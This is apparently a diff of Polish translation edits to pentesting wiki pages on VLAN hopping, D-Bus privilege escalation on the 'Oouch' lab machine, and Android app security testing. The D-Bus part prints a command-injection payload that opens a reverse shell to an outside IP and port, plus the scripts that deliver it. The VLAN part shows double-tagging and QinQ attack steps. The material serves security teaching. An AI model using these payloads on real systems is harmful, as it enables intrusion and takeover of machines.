Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przeprowadzić pivot dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*:
|
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*:
|
||||||
```bash
|
```bash
|
||||||
sudo modprobe 8021q
|
sudo modprobe 8021q
|
||||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||||
@ -85,15 +85,15 @@ python3 DoubleTagging.py \
|
|||||||
--victim 10.10.20.24 \
|
--victim 10.10.20.24 \
|
||||||
--attacker 10.10.1.54
|
--attacker 10.10.1.54
|
||||||
```
|
```
|
||||||
Przechodzenie pakietu:
|
Przechodzenie pakietów:
|
||||||
1. Zewnętrzna etykieta (1) jest usuwana przez pierwszy przełącznik, ponieważ pasuje do natywnego VLAN.
|
1. Zewnętrzny tag (1) jest usuwany przez pierwszy switch, ponieważ pasuje do natywnego VLAN.
|
||||||
2. Wewnętrzna etykieta (20) jest teraz odsłonięta; ramka jest przesyłana na trunk w kierunku VLAN 20.
|
2. Wewnętrzny tag (20) jest teraz odsłonięty; ramka jest przesyłana na trunk w kierunku VLAN 20.
|
||||||
|
|
||||||
Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez etykiet.
|
Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez tagów.
|
||||||
|
|
||||||
### 3. QinQ (802.1ad) Stacking
|
### 3. QinQ (802.1ad) Stacking
|
||||||
|
|
||||||
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzną etykietę za pomocą Scapy:
|
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzny tag za pomocą Scapy:
|
||||||
```python
|
```python
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
outer = 100 # Service tag
|
outer = 100 # Service tag
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
D-Bus jest wykorzystywany jako mediator komunikacji międzyprocesowej (IPC) w środowiskach desktopowych Ubuntu. W Ubuntu obserwuje się równoczesne działanie kilku magistrali komunikacyjnych: magistrali systemowej, głównie wykorzystywanej przez **usługi z uprawnieniami do udostępniania usług istotnych dla całego systemu**, oraz magistrali sesyjnej dla każdego zalogowanego użytkownika, udostępniającej usługi istotne tylko dla tego konkretnego użytkownika. Skupiamy się tutaj głównie na magistrali systemowej ze względu na jej związek z usługami działającymi z wyższymi uprawnieniami (np. root), ponieważ naszym celem jest podniesienie uprawnień. Zauważono, że architektura D-Bus wykorzystuje 'routera' na każdą magistralę sesyjną, który odpowiada za przekierowywanie wiadomości klientów do odpowiednich usług na podstawie adresu określonego przez klientów dla usługi, z którą chcą się komunikować.
|
D-Bus jest wykorzystywany jako mediator komunikacji międzyprocesowej (IPC) w środowiskach desktopowych Ubuntu. W Ubuntu obserwuje się równoczesne działanie kilku magistrali komunikacyjnych: magistrali systemowej, głównie wykorzystywanej przez **usługi z uprawnieniami do udostępniania usług istotnych dla całego systemu**, oraz magistrali sesyjnej dla każdego zalogowanego użytkownika, udostępniającej usługi istotne tylko dla tego konkretnego użytkownika. Skupiamy się tutaj głównie na magistrali systemowej ze względu na jej związek z usługami działającymi z wyższymi uprawnieniami (np. root), ponieważ naszym celem jest podniesienie uprawnień. Zauważono, że architektura D-Bus wykorzystuje 'routera' na każdą magistralę sesyjną, który odpowiada za przekierowywanie wiadomości klientów do odpowiednich usług na podstawie adresu określonego przez klientów dla usługi, z którą chcą się komunikować.
|
||||||
|
|
||||||
Usługi na D-Bus są definiowane przez **obiekty** i **interfejsy**, które udostępniają. Obiekty można porównać do instancji klas w standardowych językach OOP, przy czym każda instancja jest unikalnie identyfikowana przez **ścieżkę obiektu**. Ta ścieżka, podobna do ścieżki w systemie plików, unikalnie identyfikuje każdy obiekt udostępniony przez usługę. Kluczowym interfejsem do celów badawczych jest interfejs **org.freedesktop.DBus.Introspectable**, który zawiera jedną metodę, Introspect. Metoda ta zwraca reprezentację XML metod, sygnałów i właściwości obsługiwanych przez obiekt, koncentrując się tutaj na metodach, pomijając właściwości i sygnały.
|
Usługi na D-Bus są definiowane przez **obiekty** i **interfejsy**, które udostępniają. Obiekty można porównać do instancji klas w standardowych językach OOP, przy czym każda instancja jest unikalnie identyfikowana przez **ścieżkę obiektu**. Ta ścieżka, podobnie jak ścieżka w systemie plików, unikalnie identyfikuje każdy obiekt udostępniany przez usługę. Kluczowym interfejsem do celów badawczych jest interfejs **org.freedesktop.DBus.Introspectable**, który zawiera jedną metodę, Introspect. Metoda ta zwraca reprezentację XML metod, sygnałów i właściwości obsługiwanych przez obiekt, koncentrując się tutaj na metodach, pomijając właściwości i sygnały.
|
||||||
|
|
||||||
Do komunikacji z interfejsem D-Bus wykorzystano dwa narzędzia: narzędzie CLI o nazwie **gdbus** do łatwego wywoływania metod udostępnianych przez D-Bus w skryptach oraz [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), narzędzie GUI oparte na Pythonie, zaprojektowane do enumeracji usług dostępnych na każdej magistrali i wyświetlania obiektów zawartych w każdej usłudze.
|
Do komunikacji z interfejsem D-Bus wykorzystano dwa narzędzia: narzędzie CLI o nazwie **gdbus** do łatwego wywoływania metod udostępnianych przez D-Bus w skryptach oraz [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), narzędzie GUI oparte na Pythonie, zaprojektowane do enumeracji usług dostępnych na każdej magistrali i wyświetlania obiektów zawartych w każdej usłudze.
|
||||||
```bash
|
```bash
|
||||||
@ -16,13 +16,13 @@ sudo apt-get install d-feet
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
Na pierwszym obrazie pokazane są usługi zarejestrowane w systemowym busie D-Bus, z **org.debin.apt** szczególnie wyróżnionym po wybraniu przycisku System Bus. D-Feet zapytuje tę usługę o obiekty, wyświetlając interfejsy, metody, właściwości i sygnały dla wybranych obiektów, co widać na drugim obrazie. Podpis każdej metody jest również szczegółowo opisany.
|
Na pierwszym obrazie pokazane są usługi zarejestrowane w systemowej szynie D-Bus, z **org.debin.apt** szczególnie wyróżnionym po wybraniu przycisku System Bus. D-Feet zapytuje tę usługę o obiekty, wyświetlając interfejsy, metody, właściwości i sygnały dla wybranych obiektów, co widać na drugim obrazie. Podpis każdej metody jest również szczegółowo opisany.
|
||||||
|
|
||||||
Ciekawą cechą jest wyświetlanie **identyfikatora procesu (pid)** i **linii poleceń** usługi, co jest przydatne do potwierdzenia, czy usługa działa z podwyższonymi uprawnieniami, co jest ważne dla istotności badań.
|
Cechą godną uwagi jest wyświetlanie **identyfikatora procesu (pid)** i **linii poleceń** usługi, co jest przydatne do potwierdzenia, czy usługa działa z podwyższonymi uprawnieniami, co jest ważne dla istotności badań.
|
||||||
|
|
||||||
**D-Feet umożliwia również wywoływanie metod**: użytkownicy mogą wprowadzać wyrażenia Pythona jako parametry, które D-Feet konwertuje na typy D-Bus przed przekazaniem do usługi.
|
**D-Feet umożliwia również wywoływanie metod**: użytkownicy mogą wprowadzać wyrażenia Pythona jako parametry, które D-Feet konwertuje na typy D-Bus przed przekazaniem do usługi.
|
||||||
|
|
||||||
Należy jednak zauważyć, że **niektóre metody wymagają uwierzytelnienia** przed pozwoleniem na ich wywołanie. Zignorujemy te metody, ponieważ naszym celem jest podniesienie naszych uprawnień bez poświadczeń w pierwszej kolejności.
|
Należy jednak zauważyć, że **niektóre metody wymagają uwierzytelnienia** przed umożliwieniem ich wywołania. Zignorujemy te metody, ponieważ naszym celem jest podniesienie naszych uprawnień bez posiadania poświadczeń.
|
||||||
|
|
||||||
Należy również zauważyć, że niektóre z usług zapytują inną usługę D-Bus o nazwie org.freedeskto.PolicyKit1, czy użytkownik powinien mieć prawo do wykonywania określonych działań, czy nie.
|
Należy również zauważyć, że niektóre z usług zapytują inną usługę D-Bus o nazwie org.freedeskto.PolicyKit1, czy użytkownik powinien mieć prawo do wykonywania określonych działań, czy nie.
|
||||||
|
|
||||||
@ -120,7 +120,7 @@ cap_mknod cap_lease cap_audit_write cap_audit_control
|
|||||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||||
```
|
```
|
||||||
### Lista interfejsów obiektu usługi
|
### List Interfaces of a Service Object
|
||||||
|
|
||||||
Musisz mieć wystarczające uprawnienia.
|
Musisz mieć wystarczające uprawnienia.
|
||||||
```bash
|
```bash
|
||||||
@ -150,7 +150,7 @@ org.freedesktop.DBus.Properties interface - - -
|
|||||||
.Set method ssv - -
|
.Set method ssv - -
|
||||||
.PropertiesChanged signal sa{sv}as - -
|
.PropertiesChanged signal sa{sv}as - -
|
||||||
```
|
```
|
||||||
Zauważ metodę `.Block` interfejsu `htb.oouch.Block` (to jest to, co nas interesuje). "s" w innych kolumnach może oznaczać, że oczekuje ciągu znaków.
|
Zauważ metodę `.Block` interfejsu `htb.oouch.Block` (to jest to, co nas interesuje). "s" w innych kolumnach może oznaczać, że oczekuje ciągu.
|
||||||
|
|
||||||
### Interfejs monitorowania/łapania
|
### Interfejs monitorowania/łapania
|
||||||
|
|
||||||
@ -188,9 +188,9 @@ STRING "Carried out :D";
|
|||||||
```
|
```
|
||||||
Możesz użyć `capture` zamiast `monitor`, aby zapisać wyniki w pliku pcap.
|
Możesz użyć `capture` zamiast `monitor`, aby zapisać wyniki w pliku pcap.
|
||||||
|
|
||||||
#### Filtrowanie wszystkich szumów <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
#### Filtrowanie całego szumu <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||||
|
|
||||||
Jeśli na busie jest zbyt wiele informacji, przekaż regułę dopasowania w ten sposób:
|
Jeśli na magistrali jest zbyt wiele informacji, przekaż regułę dopasowania w ten sposób:
|
||||||
```bash
|
```bash
|
||||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||||
```
|
```
|
||||||
@ -248,7 +248,7 @@ return render_template('hacker.html', title='Hacker')
|
|||||||
Jak widać, **nawiązuje połączenie z interfejsem D-Bus** i wysyła do **funkcji "Block"** "client_ip".
|
Jak widać, **nawiązuje połączenie z interfejsem D-Bus** i wysyła do **funkcji "Block"** "client_ip".
|
||||||
|
|
||||||
Po drugiej stronie połączenia D-Bus działa skompilowany w C program binarny. Ten kod **nasłuchuje** na połączeniu D-Bus **na adres IP i wywołuje iptables za pomocą funkcji `system`**, aby zablokować dany adres IP.\
|
Po drugiej stronie połączenia D-Bus działa skompilowany w C program binarny. Ten kod **nasłuchuje** na połączeniu D-Bus **na adres IP i wywołuje iptables za pomocą funkcji `system`**, aby zablokować dany adres IP.\
|
||||||
**Wywołanie `system` jest celowo podatne na wstrzyknięcie poleceń**, więc ładunek taki jak poniższy stworzy powrotną powłokę: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
**Wywołanie `system` jest celowo podatne na wstrzyknięcie poleceń**, więc ładunek taki jak poniższy stworzy odwróconą powłokę: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||||
|
|
||||||
### Wykorzystaj to
|
### Wykorzystaj to
|
||||||
|
|
||||||
@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus,
|
|||||||
block_vtable,
|
block_vtable,
|
||||||
NULL);
|
NULL);
|
||||||
```
|
```
|
||||||
Również, w linii 57 możesz znaleźć, że **jedyną zarejestrowaną metodą** dla tej komunikacji D-Bus jest nazywana `Block`(_**Dlatego w następnej sekcji ładunki będą wysyłane do obiektu usługi `htb.oouch.Block`, interfejsu `/htb/oouch/Block` oraz nazwy metody `Block`**_):
|
Również, w linii 57 możesz znaleźć, że **jedyną zarejestrowaną metodą** dla tej komunikacji D-Bus jest nazywana `Block`(_**Dlatego w następnej sekcji ładunki będą wysyłane do obiektu usługi `htb.oouch.Block`, interfejsu `/htb/oouch/Block` i nazwy metody `Block`**_):
|
||||||
```c
|
```c
|
||||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||||
```
|
```
|
||||||
#### Python
|
#### Python
|
||||||
|
|
||||||
Poniższy kod w Pythonie wyśle ładunek do połączenia D-Bus do metody `Block` za pomocą `block_iface.Block(runme)` (_zauważ, że został on wyodrębniony z poprzedniego fragmentu kodu_):
|
Następujący kod w Pythonie wyśle ładunek do połączenia D-Bus do metody `Block` za pomocą `block_iface.Block(runme)` (_zauważ, że został on wyodrębniony z poprzedniego fragmentu kodu_):
|
||||||
```python
|
```python
|
||||||
import dbus
|
import dbus
|
||||||
bus = dbus.SystemBus()
|
bus = dbus.SystemBus()
|
||||||
@ -287,7 +287,7 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou
|
|||||||
- “-system” tag jest używany do oznaczenia, że jest to wiadomość systemowa, a nie wiadomość sesyjna (domyślnie).
|
- “-system” tag jest używany do oznaczenia, że jest to wiadomość systemowa, a nie wiadomość sesyjna (domyślnie).
|
||||||
- “–print-reply” tag jest używany do odpowiedniego wydrukowania naszej wiadomości i odbierania wszelkich odpowiedzi w formacie czytelnym dla człowieka.
|
- “–print-reply” tag jest używany do odpowiedniego wydrukowania naszej wiadomości i odbierania wszelkich odpowiedzi w formacie czytelnym dla człowieka.
|
||||||
- “–dest=Dbus-Interface-Block” Adres interfejsu Dbus.
|
- “–dest=Dbus-Interface-Block” Adres interfejsu Dbus.
|
||||||
- “–string:” – Typ wiadomości, którą chcemy wysłać do interfejsu. Istnieje kilka formatów wysyłania wiadomości, takich jak double, bytes, booleans, int, objpath. Z tego, “object path” jest przydatny, gdy chcemy wysłać ścieżkę pliku do interfejsu Dbus. W tym przypadku możemy użyć specjalnego pliku (FIFO), aby przekazać polecenie do interfejsu w imieniu pliku. “string:;” – To jest, aby ponownie wywołać ścieżkę obiektu, gdzie umieszczamy plik/polecenie odwróconego powłoki FIFO.
|
- “–string:” – Typ wiadomości, którą chcemy wysłać do interfejsu. Istnieje kilka formatów wysyłania wiadomości, takich jak double, bytes, booleans, int, objpath. Z tego, “object path” jest przydatny, gdy chcemy wysłać ścieżkę pliku do interfejsu Dbus. W tym przypadku możemy użyć specjalnego pliku (FIFO), aby przekazać polecenie do interfejsu w nazwie pliku. “string:;” – To jest, aby ponownie wywołać ścieżkę obiektu, gdzie umieszczamy plik/polecenie reverse shell FIFO.
|
||||||
|
|
||||||
_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._
|
_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._
|
||||||
|
|
||||||
@ -434,7 +434,7 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
|||||||
```
|
```
|
||||||
## Zautomatyzowane Pomocniki do Enumeracji (2023-2025)
|
## Zautomatyzowane Pomocniki do Enumeracji (2023-2025)
|
||||||
|
|
||||||
Ręczna enumeracja dużej powierzchni ataku D-Bus za pomocą `busctl`/`gdbus` szybko staje się bolesna. Dwa małe narzędzia FOSS wydane w ostatnich latach mogą przyspieszyć proces podczas zaangażowania red-team lub CTF:
|
Ręczna enumeracja dużej powierzchni ataku D-Bus za pomocą `busctl`/`gdbus` szybko staje się bolesna. Dwa małe narzędzia FOSS wydane w ostatnich latach mogą przyspieszyć proces podczas zaangażowań red-team lub CTF:
|
||||||
|
|
||||||
### dbusmap ("Nmap dla D-Bus")
|
### dbusmap ("Nmap dla D-Bus")
|
||||||
* Autor: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
* Autor: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||||
|
@ -20,11 +20,11 @@ Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się
|
|||||||
## Smali
|
## Smali
|
||||||
|
|
||||||
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
||||||
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
|
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
|
||||||
|
|
||||||
## Inne interesujące triki
|
## Inne interesujące triki
|
||||||
|
|
||||||
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||||
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
|
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
|
||||||
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
|
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
|
||||||
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||||
@ -64,11 +64,11 @@ Rzucając okiem na **ciągi** APK, możesz szukać **haseł**, **URL** ([https:/
|
|||||||
|
|
||||||
**Firebase**
|
**Firebase**
|
||||||
|
|
||||||
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji na temat tego, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||||
|
|
||||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||||
|
|
||||||
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
|
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
|
||||||
|
|
||||||
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
||||||
|
|
||||||
@ -87,7 +87,7 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
|
|||||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||||
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||||
|
|
||||||
Więcej informacji znajdziesz w:
|
Znajdź więcej informacji w:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
tapjacking.md
|
tapjacking.md
|
||||||
@ -107,12 +107,12 @@ android-task-hijacking.md
|
|||||||
|
|
||||||
**Internal Storage**
|
**Internal Storage**
|
||||||
|
|
||||||
W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||||
|
|
||||||
1. **Analiza statyczna:**
|
1. **Analiza statyczna:**
|
||||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||||
2. **Analiza dynamiczna:**
|
2. **Analiza dynamiczna:**
|
||||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||||
|
|
||||||
**External Storage**
|
**External Storage**
|
||||||
|
|
||||||
@ -122,25 +122,25 @@ Podczas pracy z plikami na **zewnętrznej pamięci**, takiej jak karty SD, nale
|
|||||||
- Pliki na zewnętrznej pamięci są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
|
- Pliki na zewnętrznej pamięci są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
|
||||||
2. **Problemy z bezpieczeństwem**:
|
2. **Problemy z bezpieczeństwem**:
|
||||||
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznej pamięci.
|
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznej pamięci.
|
||||||
- Zewnętrzna pamięć może być usunięta lub dostępna przez każdą aplikację, co czyni ją mniej bezpieczną.
|
- Zewnętrzna pamięć może być usunięta lub dostępna przez dowolną aplikację, co czyni ją mniej bezpieczną.
|
||||||
3. **Obsługa danych z zewnętrznej pamięci**:
|
3. **Obsługa danych z zewnętrznej pamięci**:
|
||||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. To jest kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||||
- Przechowywanie plików wykonywalnych lub klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane.
|
- Przechowywanie plików wykonywalnych lub klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane.
|
||||||
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
||||||
|
|
||||||
Zewnętrzna pamięć może być **dostępna** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
Zewnętrzna pamięć może być **dostępna** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
|
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
|
||||||
|
|
||||||
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
||||||
|
|
||||||
- **Preferencje współdzielone**: Android pozwala każdej aplikacji łatwo zapisywać pliki xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze.
|
- **Preferencje współdzielone**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze.
|
||||||
- **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisywać bazy danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze.
|
- **Bazy danych**: Android pozwala każdej aplikacji na łatwe zapisywanie baz danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze.
|
||||||
|
|
||||||
### Broken TLS
|
### Broken TLS
|
||||||
|
|
||||||
**Akceptuj wszystkie certyfikaty**
|
**Accept All Certificates**
|
||||||
|
|
||||||
Z jakiegoś powodu czasami deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje do linii kodu, jak w poniższym przykładzie:
|
